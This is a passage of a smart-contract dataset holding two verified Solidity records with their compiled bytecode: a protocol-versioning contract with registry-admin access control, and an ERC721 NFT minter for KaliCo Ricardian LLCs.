emit RegistryManagementTransferred(_registryAdmin, address(0));
_registryAdmin = address(0);
}
/**
* @dev Transfers registryManagement of the contract to a new account (`newManager`).
*/
function _transferRegistryManagement(address newRegistryAdmin) internal {
require(newRegistryAdmin != address(0), "RegistryAdmin: new registryAdmin is the zero address");
emit RegistryManagementTransferred(_registryAdmin, newRegistryAdmin);
_registryAdmin = newRegistryAdmin;
}
/**
* @dev Modifier throws if called by any account other than the pendingManager.
*/
modifier onlyPendingRegistryAdmin() {
require(msg.sender == _pendingRegistryAdmin, "Caller is not the pending registryAdmin");
_;
}
/**
* @dev Allows the current registryAdmin to set the pendingManager address.
* @param newRegistryAdmin The address to transfer registryManagement to.
*/
function transferRegistryManagement(address newRegistryAdmin) public onlyRegistryAdmin {
_pendingRegistryAdmin = newRegistryAdmin;
}
/**
* @dev Allows the _pendingRegistryAdmin address to finalize the transfer.
*/
function claimRegistryManagement() external onlyPendingRegistryAdmin {
_transferRegistryManagement(_pendingRegistryAdmin);
_pendingRegistryAdmin = address(0);
}
/**
* @dev Returns the current pendingRegistryAdmin
*/
function pendingRegistryAdmin() public view returns (address) {
return _pendingRegistryAdmin;
}
}
contract ContractRegistryAccessor is WithClaimableRegistryManagement, Initializable {
IContractRegistry private contractRegistry;
constructor(IContractRegistry _contractRegistry, address _registryAdmin) public {
require(address(_contractRegistry) != address(0), "_contractRegistry cannot be 0");
setContractRegistry(_contractRegistry);
_transferRegistryManagement(_registryAdmin);
}
modifier onlyAdmin {
require(isAdmin(), "sender is not an admin (registryManger or initializationAdmin)");
_;
}
function isManager(string memory role) internal view returns (bool) {
IContractRegistry _contractRegistry = contractRegistry;
return isAdmin() || _contractRegistry != IContractRegistry(0) && contractRegistry.getManager(role) == msg.sender;
}
function isAdmin() internal view returns (bool) {
return msg.sender == registryAdmin() || msg.sender == initializationAdmin() || msg.sender == address(contractRegistry);
}
function getProtocolContract() internal view returns (address) {
return contractRegistry.getContract("protocol");
}
function getStakingRewardsContract() internal view returns (address) {
return contractRegistry.getContract("stakingRewards");
}
function getFeesAndBootstrapRewardsContract() internal view returns (address) {
return contractRegistry.getContract("feesAndBootstrapRewards");
}
function getCommitteeContract() internal view returns (address) {
return contractRegistry.getContract("committee");
}
function getElectionsContract() internal view returns (address) {
return contractRegistry.getContract("elections");
}
function getDelegationsContract() internal view returns (address) {
return contractRegistry.getContract("delegations");
}
function getGuardiansRegistrationContract() internal view returns (address) {
return contractRegistry.getContract("guardiansRegistration");
}
function getCertificationContract() internal view returns (address) {
return contractRegistry.getContract("certification");
}
function getStakingContract() internal view returns (address) {
return contractRegistry.getContract("staking");
}
function getSubscriptionsContract() internal view returns (address) {
return contractRegistry.getContract("subscriptions");
}
function getStakingRewardsWallet() internal view returns (address) {
return contractRegistry.getContract("stakingRewardsWallet");
}
function getBootstrapRewardsWallet() internal view returns (address) {
return contractRegistry.getContract("bootstrapRewardsWallet");
}
function getGeneralFeesWallet() internal view returns (address) {
return contractRegistry.getContract("generalFeesWallet");
}
function getCertifiedFeesWallet() internal view returns (address) {
return contractRegistry.getContract("certifiedFeesWallet");
}
function getStakingContractHandler() internal view returns (address) {
return contractRegistry.getContract("stakingContractHandler");
}
/*
* Governance functions
*/
event ContractRegistryAddressUpdated(address addr);
function setContractRegistry(IContractRegistry newContractRegistry) public onlyAdmin {
require(newContractRegistry.getPreviousContractRegistry() == address(contractRegistry), "new contract registry must provide the previous contract registry");
contractRegistry = newContractRegistry;
emit ContractRegistryAddressUpdated(address(newContractRegistry));
}
function getContractRegistry() public view returns (IContractRegistry) {
return contractRegistry;
}
}
contract Lockable is ILockable, ContractRegistryAccessor {
bool public locked;
constructor(IContractRegistry _contractRegistry, address _registryAdmin) ContractRegistryAccessor(_contractRegistry, _registryAdmin) public {}
modifier onlyLockOwner() {
require(msg.sender == registryAdmin() || msg.sender == address(getContractRegistry()), "caller is not a lock owner");
_;
}
function lock() external override onlyLockOwner {
locked = true;
emit Locked();
}
function unlock() external override onlyLockOwner {
locked = false;
emit Unlocked();
}
function isLocked() external override view returns (bool) {
return locked;
}
modifier onlyWhenActive() {
require(!locked, "contract is locked for this operation");
_;
}
}
contract ManagedContract is Lockable {
constructor(IContractRegistry _contractRegistry, address _registryAdmin) Lockable(_contractRegistry, _registryAdmin) public {}
modifier onlyMigrationManager {
require(isManager("migrationManager"), "sender is not the migration manager");
_;
}
modifier onlyFunctionalManager {
require(isManager("functionalManager"), "sender is not the functional manager");
_;
}
function refreshContracts() virtual external {}
}
contract Protocol is IProtocol, ManagedContract {
struct DeploymentSubset {
bool exists;
uint256 nextVersion;
uint fromTimestamp;
uint256 currentVersion;
}
mapping(string => DeploymentSubset) public deploymentSubsets;
constructor(IContractRegistry _contractRegistry, address _registryAdmin) ManagedContract(_contractRegistry, _registryAdmin) public {}
/*
* External functions
*/
function deploymentSubsetExists(string calldata deploymentSubset) external override view returns (bool) {
return deploymentSubsets[deploymentSubset].exists;
}
function getProtocolVersion(string calldata deploymentSubset) external override view returns (uint256 currentVersion) {
(, currentVersion) = checkPrevUpgrades(deploymentSubset);
}
function createDeploymentSubset(string calldata deploymentSubset, uint256 initialProtocolVersion) external override onlyFunctionalManager {
require(!deploymentSubsets[deploymentSubset].exists, "deployment subset already exists");
deploymentSubsets[deploymentSubset].currentVersion = initialProtocolVersion;
deploymentSubsets[deploymentSubset].nextVersion = initialProtocolVersion;
deploymentSubsets[deploymentSubset].fromTimestamp = now;
deploymentSubsets[deploymentSubset].exists = true;
emit ProtocolVersionChanged(deploymentSubset, initialProtocolVersion, initialProtocolVersion, now);
}
function setProtocolVersion(string calldata deploymentSubset, uint256 nextVersion, uint256 fromTimestamp) external override onlyFunctionalManager {
require(deploymentSubsets[deploymentSubset].exists, "deployment subset does not exist");
require(fromTimestamp > now, "a protocol update can only be scheduled for the future");
(bool prevUpgradeExecuted, uint256 currentVersion) = checkPrevUpgrades(deploymentSubset);
require(nextVersion >= currentVersion, "protocol version must be greater or equal to current version");
deploymentSubsets[deploymentSubset].nextVersion = nextVersion;
deploymentSubsets[deploymentSubset].fromTimestamp = fromTimestamp;
if (prevUpgradeExecuted) {
deploymentSubsets[deploymentSubset].currentVersion = currentVersion;
}
emit ProtocolVersionChanged(deploymentSubset, currentVersion, nextVersion, fromTimestamp);
}
/*
* Private functions
*/
function checkPrevUpgrades(string memory deploymentSubset) private view returns (bool prevUpgradeExecuted, uint256 currentVersion) {
prevUpgradeExecuted = deploymentSubsets[deploymentSubset].fromTimestamp <= now;
currentVersion = prevUpgradeExecuted ? deploymentSubsets[deploymentSubset].nextVersion :
deploymentSubsets[deploymentSubset].currentVersion;
}
/*
* Contracts topology / registry interface
*/
function refreshContracts() external override {}
}
|
0x608060405234801561001057600080fd5b50600436106101775760003560e01c8063a4e2d634116100d8578063cf3090121161008c578063eec0701f11610066578063eec0701f146104f4578063f83d08ba146104fc578063fcd13d651461050457610177565b8063cf309012146104dc578063d2523526146104e4578063e4e99222146104ec57610177565b8063acdb8e04116100bd578063acdb8e04146103e2578063c0fc0a44146103ea578063cd49d8201461045a57610177565b8063a4e2d634146103d2578063a69df4b5146103da57610177565b80635f94cd9c1161012f5780637c31a5c4116101145780637c31a5c41461021e57806382adb1dd146102ec5780638b8c31051461036257610177565b80635f94cd9c1461020e57806374c16b231461021657610177565b80632a1fac72116101605780632a1fac72146101cd578063333df154146101d557806348106fe31461020657610177565b80631a0b2c4f1461017c5780632987cea014610198575b600080fd5b610184610537565b604080519115158252519081900360200190f35b6101cb600480360360208110156101ae57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610575565b005b6101cb6105ff565b6101dd6106c3565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101846106df565b6101dd6106fc565b6101dd610718565b6102c46004803603602081101561023457600080fd5b81019060208101813564010000000081111561024f57600080fd5b82018360208201111561026157600080fd5b8035906020019184600183028401116401000000008311171561028357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610734945050505050565b6040805194151585526020850193909352838301919091526060830152519081900360800190f35b6101cb6004803603606081101561030257600080fd5b81019060208101813564010000000081111561031d57600080fd5b82018360208201111561032f57600080fd5b8035906020019184600183028401116401000000008311171561035157600080fd5b91935091508035906020013561076a565b6101846004803603602081101561037857600080fd5b81019060208101813564010000000081111561039357600080fd5b8201836020820111156103a557600080fd5b803590602001918460018302840111640100000000831117156103c757600080fd5b509092509050610a53565b610184610a87565b6101cb610aa8565b6101cb610bbf565b6101cb6004803603604081101561040057600080fd5b81019060208101813564010000000081111561041b57600080fd5b82018360208201111561042d57600080fd5b8035906020019184600183028401116401000000008311171561044f57600080fd5b919350915035610c71565b6104ca6004803603602081101561047057600080fd5b81019060208101813564010000000081111561048b57600080fd5b82018360208201111561049d57600080fd5b803590602001918460018302840111640100000000831117156104bf57600080fd5b509092509050610ee5565b60408051918252519081900360200190f35b610184610f2e565b6101cb610f4f565b6101dd610ff1565b6101cb61100d565b6101cb61100f565b6101cb6004803603602081101561051a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661113d565b6000805473ffffffffffffffffffffffffffffffffffffffff166105596112e4565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b61057d610537565b6105b85760405162461bcd60e51b815260040180806020018281038252604081526020018061193f6040913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6106076106c3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106705760405162461bcd60e51b815260040180806020018281038252602681526020018061184f6026913960400191505060405180910390fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001690556040517f2a2b3ea974fb057582c3b210ef8b5f81492d15673f49d4384bfa3b896a964c3c90600090a1565b60025473ffffffffffffffffffffffffffffffffffffffff1690565b60025473ffffffffffffffffffffffffffffffffffffffff161590565b60015473ffffffffffffffffffffffffffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b8051602081830181018051600482529282019190930120915280546001820154600283015460039093015460ff90921692909184565b6107a86040518060400160405280601181526020017f66756e6374696f6e616c4d616e616765720000000000000000000000000000008152506112e8565b6107e35760405162461bcd60e51b81526004018080602001828103825260248152602001806118756024913960400191505060405180910390fd5b6004848460405180838380828437919091019485525050604051928390036020019092205460ff1691506108609050576040805162461bcd60e51b815260206004820181905260248201527f6465706c6f796d656e742073756273657420646f6573206e6f74206578697374604482015290519081900360640190fd5b42811161089e5760405162461bcd60e51b81526004018080602001828103825260368152602001806118996036913960400191505060405180910390fd5b6000806108e086868080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061144b92505050565b91509150808410156109235760405162461bcd60e51b815260040180806020018281038252603c8152602001806118cf603c913960400191505060405180910390fd5b83600487876040518083838082843780830192505050925050509081526020016040518091039020600101819055508260048787604051808383808284379190910194855250506040519283900360200190922060020192909255505081156109b557806004878760405180838380828437919091019485525050604051928390036020019092206003019290925550505b7fd989ffe5815849fa84ed41919c9af79a11dae1c578497019ec2b7ba86857aad1868683878760405180806020018581526020018481526020018381526020018281038252878782818152602001925080828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169092018290039850909650505050505050a1505050505050565b60006004838360405180838380828437919091019485525050604051928390036020019092205460ff169250505092915050565b60035474010000000000000000000000000000000000000000900460ff1690565b610ab0610718565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b1b5750610aec610ff1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b6c576040805162461bcd60e51b815260206004820152601a60248201527f63616c6c6572206973206e6f742061206c6f636b206f776e6572000000000000604482015290519081900360640190fd5b600380547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690556040517f19aad37188a1d3921e29eb3c66acf43d81975e107cb650d58cca878627955fd690600090a1565b610bc7610537565b610c025760405162461bcd60e51b815260040180806020018281038252604081526020018061193f6040913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f1f5f028be638d6a0e3b8d56fd05b812ce325cc8dc73cdb0e16df94d6b2725c2e908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b610caf6040518060400160405280601181526020017f66756e6374696f6e616c4d616e616765720000000000000000000000000000008152506112e8565b610cea5760405162461bcd60e51b81526004018080602001828103825260248152602001806118756024913960400191505060405180910390fd5b6004838360405180838380828437919091019485525050604051928390036020019092205460ff16159150610d689050576040805162461bcd60e51b815260206004820181905260248201527f6465706c6f796d656e742073756273657420616c726561647920657869737473604482015290519081900360640190fd5b80600484846040518083838082843780830192505050925050509081526020016040518091039020600301819055508060048484604051808383808284378083019250505092505050908152602001604051809103902060010181905550426004848460405180838380828437808301925050509250505090815260200160405180910390206002018190555060016004848460405180838380828437919091019485525050604080516020948190038501812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001696151596909617909555928401859052505081018290524260608201819052608080835282018490527fd989ffe5815849fa84ed41919c9af79a11dae1c578497019ec2b7ba86857aad19185918591859182918060a08101878780828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169092018290039850909650505050505050a1505050565b6000610f2683838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061144b92505050565b949350505050565b60035474010000000000000000000000000000000000000000900460ff1681565b60015473ffffffffffffffffffffffffffffffffffffffff163314610fa55760405162461bcd60e51b81526004018080602001828103825260278152602001806118286027913960400191505060405180910390fd5b600154610fc79073ffffffffffffffffffffffffffffffffffffffff1661162d565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60035473ffffffffffffffffffffffffffffffffffffffff1690565b565b611017610718565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110825750611053610ff1565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6110d3576040805162461bcd60e51b815260206004820152601a60248201527f63616c6c6572206973206e6f742061206c6f636b206f776e6572000000000000604482015290519081900360640190fd5b600380547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790556040517f0f2e5b6c72c6a4491efd919a9f9a409f324ef0708c11ee57d410c2cb06c0992b90600090a1565b61114561170c565b6111805760405162461bcd60e51b815260040180806020018281038252603e8152602001806117a9603e913960400191505060405180910390fd5b600354604080517f078cbb7c000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9283169284169163078cbb7c916004808301926020929190829003018186803b1580156111ed57600080fd5b505afa158015611201573d6000803e3d6000fd5b505050506040513d602081101561121757600080fd5b505173ffffffffffffffffffffffffffffffffffffffff161461126b5760405162461bcd60e51b81526004018080602001828103825260418152602001806117e76041913960600191505060405180910390fd5b6003805473ffffffffffffffffffffffffffffffffffffffff83167fffffffffffffffffffffffff0000000000000000000000000000000000000000909116811790915560408051918252517ffea2d033438b968078a6264409d0104b5f3d2ce7b795afc74918e70f3534f22b9181900360200190a150565b3390565b60035460009073ffffffffffffffffffffffffffffffffffffffff1661130c61170c565b80611444575073ffffffffffffffffffffffffffffffffffffffff81161580159061144457506003546040517f1ee441e9000000000000000000000000000000000000000000000000000000008152602060048201818152865160248401528651339473ffffffffffffffffffffffffffffffffffffffff1693631ee441e99389939283926044019185019080838360005b838110156113b657818101518382015260200161139e565b50505050905090810190601f1680156113e35780820380516001836020036101000a031916815260200191505b509250505060206040518083038186803b15801561140057600080fd5b505afa158015611414573d6000803e3d6000fd5b505050506040513d602081101561142a57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16145b9392505050565b600080426004846040518082805190602001908083835b6020831061149f57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611462565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600201541115915081611585576004836040518082805190602001908083835b6020831061152f57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016114f2565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018019909216911617905292019485525060405193849003019092206003015491506116269050565b6004836040518082805190602001908083835b602083106115d557805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611598565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01801990921691161790529201948552506040519384900301909220600101549150505b9050915091565b73ffffffffffffffffffffffffffffffffffffffff811661167f5760405162461bcd60e51b815260040180806020018281038252603481526020018061190b6034913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f1f5f028be638d6a0e3b8d56fd05b812ce325cc8dc73cdb0e16df94d6b2725c2e91a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000611716610718565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061178157506117526106c3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806117a3575060035473ffffffffffffffffffffffffffffffffffffffff1633145b90509056fe73656e646572206973206e6f7420616e2061646d696e202872656769737472794d616e676572206f7220696e697469616c697a6174696f6e41646d696e296e657720636f6e7472616374207265676973747279206d7573742070726f76696465207468652070726576696f757320636f6e747261637420726567697374727943616c6c6572206973206e6f74207468652070656e64696e6720726567697374727941646d696e73656e646572206973206e6f742074686520696e697469616c697a6174696f6e2061646d696e73656e646572206973206e6f74207468652066756e6374696f6e616c206d616e61676572612070726f746f636f6c207570646174652063616e206f6e6c79206265207363686564756c656420666f72207468652066757475726570726f746f636f6c2076657273696f6e206d7573742062652067726561746572206f7220657175616c20746f2063757272656e742076657273696f6e526567697374727941646d696e3a206e657720726567697374727941646d696e20697320746865207a65726f206164647265737357697468436c61696d61626c6552656769737472794d616e6167656d656e743a2063616c6c6572206973206e6f742074686520726567697374727941646d696ea26469706673582212204906b8a2bd0d00984ede9566572d2cd9bf669f533cb55e9364d576a550fcea5064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,329 |
0x1a49a558557c9fcd5073fb6641d2dc32233cb5d9
|
/**
*Submitted for verification at Etherscan.io on 2022-01-16
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.4;
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Modified from Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// License-Identifier: AGPL-3.0-only
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/// @notice Modern and gas efficient ERC-721 + ERC-20/EIP-2612-like implementation.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error NotApproved();
error NotOwner();
error InvalidRecipient();
error SignatureExpired();
error InvalidSignature();
error AlreadyMinted();
error NotMinted();
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 tokenId) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC-721 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
EIP-2612-LIKE STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256('Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)');
bytes32 public constant PERMIT_ALL_TYPEHASH =
keccak256('Permit(address owner,address spender,uint256 nonce,uint256 deadline)');
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(uint256 => uint256) public nonces;
mapping(address => uint256) public noncesForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC-721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 tokenId) public virtual {
address owner = ownerOf[tokenId];
if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) revert NotApproved();
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transfer(address to, uint256 tokenId) public virtual returns (bool) {
if (msg.sender != ownerOf[tokenId]) revert NotOwner();
if (to == address(0)) revert InvalidRecipient();
// underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow
unchecked {
balanceOf[msg.sender]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(msg.sender, to, tokenId);
return true;
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
if (from != ownerOf[tokenId]) revert NotOwner();
if (to == address(0)) revert InvalidRecipient();
if (msg.sender != from
&& msg.sender != getApproved[tokenId]
&& !isApprovedForAll[from][msg.sender]
) revert NotApproved();
// underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
delete getApproved[tokenId];
ownerOf[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
transferFrom(from, to, tokenId);
if (to.code.length != 0
&& ERC721TokenReceiver(to).onERC721Received(msg.sender, from, tokenId, '')
!= ERC721TokenReceiver.onERC721Received.selector
) revert InvalidRecipient();
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual {
transferFrom(from, to, tokenId);
if (to.code.length != 0
&& ERC721TokenReceiver(to).onERC721Received(msg.sender, from, tokenId, data)
!= ERC721TokenReceiver.onERC721Received.selector
) revert InvalidRecipient();
}
/*///////////////////////////////////////////////////////////////
ERC-165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x80ac58cd || // ERC-165 Interface ID for ERC-721
interfaceId == 0x5b5e139f || // ERC-165 Interface ID for ERC-165
interfaceId == 0x01ffc9a7; // ERC-165 Interface ID for ERC-721 Metadata
}
/*///////////////////////////////////////////////////////////////
EIP-2612-LIKE LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
address owner = ownerOf[tokenId];
// cannot realistically overflow on human timescales
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, nonces[tokenId]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
if (recoveredAddress == address(0)) revert InvalidSignature();
if (recoveredAddress != owner && !isApprovedForAll[owner][recoveredAddress]) revert InvalidSignature();
}
getApproved[tokenId] = spender;
emit Approval(owner, spender, tokenId);
}
function permitAll(
address owner,
address operator,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
if (block.timestamp > deadline) revert SignatureExpired();
// cannot realistically overflow on human timescales
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_ALL_TYPEHASH, owner, operator, noncesForAll[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
if (recoveredAddress == address(0)) revert InvalidSignature();
if (recoveredAddress != owner && !isApprovedForAll[owner][recoveredAddress]) revert InvalidSignature();
}
isApprovedForAll[owner][operator] = true;
emit ApprovalForAll(owner, operator, true);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator();
}
function _computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 tokenId) internal virtual {
if (to == address(0)) revert InvalidRecipient();
if (ownerOf[tokenId] != address(0)) revert AlreadyMinted();
// cannot realistically overflow on human timescales
unchecked {
totalSupply++;
balanceOf[to]++;
}
ownerOf[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf[tokenId];
if (ownerOf[tokenId] == address(0)) revert NotMinted();
// ownership check ensures no underflow
unchecked {
totalSupply--;
balanceOf[owner]--;
}
delete ownerOf[tokenId];
delete getApproved[tokenId];
emit Transfer(owner, address(0), tokenId);
}
}
/// @notice Helper utility that enables calling multiple local methods in a single call.
/// @author Modified from Uniswap (https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/Multicall.sol)
abstract contract Multicall {
function multicall(bytes[] calldata data) public virtual returns (bytes[] memory results) {
results = new bytes[](data.length);
// cannot realistically overflow on human timescales
unchecked {
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
}
/// @notice KaliCo Ricardian LLC NFT minter.
contract KaliCoRicardianLLC is ERC721, Multicall {
error NotGovernance();
error NotFee();
error ETHtransferFailed();
address public governance;
string public commonURI;
string public masterOperatingAgreement;
uint256 public mintFee;
mapping(uint256 => string) public tokenDetails;
modifier onlyGovernance {
if (msg.sender != governance) revert NotGovernance();
_;
}
constructor(
string memory name_,
string memory symbol_,
string memory commonURI_,
string memory masterOperatingAgreement_,
uint256 mintFee_
) ERC721(name_, symbol_) {
governance = msg.sender;
commonURI = commonURI_;
masterOperatingAgreement = masterOperatingAgreement_;
mintFee = mintFee_;
}
function tokenURI(uint256) public override view virtual returns (string memory) {
return commonURI;
}
function mintLLC(address to) public payable virtual {
if (msg.value != mintFee) revert NotFee();
uint256 tokenId = totalSupply;
_mint(to, tokenId);
}
receive() external payable virtual {
mintLLC(msg.sender);
}
function burn(uint256 tokenId) public virtual {
if (msg.sender != ownerOf[tokenId]) revert NotOwner();
_burn(tokenId);
}
function updateTokenDetails(uint256 tokenId, string calldata details) public virtual {
if (msg.sender != ownerOf[tokenId]) revert NotOwner();
tokenDetails[tokenId] = details;
}
/*///////////////////////////////////////////////////////////////
GOV LOGIC
//////////////////////////////////////////////////////////////*/
function govMint(address to) public onlyGovernance virtual {
uint256 tokenId = totalSupply;
_mint(to, tokenId);
}
function govBurn(uint256 tokenId) public onlyGovernance virtual {
_burn(tokenId);
}
function updateGov(address governance_) public onlyGovernance virtual {
governance = governance_;
}
function updateURI(string calldata commonURI_) public onlyGovernance virtual {
commonURI = commonURI_;
}
function updateAgreement(string calldata masterOperatingAgreement_) public onlyGovernance virtual {
masterOperatingAgreement = masterOperatingAgreement_;
}
function updateFee(uint256 mintFee_) public onlyGovernance virtual {
mintFee = mintFee_;
}
function collectFee() public onlyGovernance virtual {
_safeTransferETH(governance, address(this).balance);
}
function _safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// transfer the ETH and store if it succeeded or not
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
if (!callStatus) revert ETHtransferFailed();
}
}
|
0x6080604052600436106102895760003560e01c80636f0a5e7111610153578063aba07847116100cb578063c87b56dd1161007f578063d909a23211610064578063d909a2321461079f578063e985e9c5146107bf578063fc314e31146107fa57600080fd5b8063c87b56dd1461076a578063d4d5d32a1461078a57600080fd5b8063b4e13c8d116100b0578063b4e13c8d146106f6578063b88d4fde1461072a578063c30f4a5a1461074a57600080fd5b8063aba07847146106a9578063ac9650d8146106c957600080fd5b80639012c4a81161012257806395d89b411161010757806395d89b4114610654578063a22cb46514610669578063a9059cbb1461068957600080fd5b80639012c4a814610607578063904dfb8e1461062757600080fd5b80636f0a5e711461059257806370a08231146105a55780637ac2ff7b146105d25780638d40fb4e146105f257600080fd5b806323b872dd1161020157806342842e0e116101b55780635aa6e6751161019a5780635aa6e675146105025780636352211e1461052f5780636be0cfb01461057257600080fd5b806342842e0e146104c257806342966c68146104e257600080fd5b80632a6cd9c6116101e65780632a6cd9c61461046457806330adf81f146104795780633644e515146104ad57600080fd5b806323b872dd1461042457806326926d461461044457600080fd5b80630b33ba7a11610258578063141a468c1161023d578063141a468c146103c15780631769740e146103ee57806318160ddd1461040e57600080fd5b80630b33ba7a1461037d57806313966db51461039d57600080fd5b806301ffc9a71461029e57806306fdde03146102d3578063081812fc146102f5578063095ea7b31461035d57600080fd5b36610299576102973361081a565b005b600080fd5b3480156102aa57600080fd5b506102be6102b9366004612304565b610866565b6040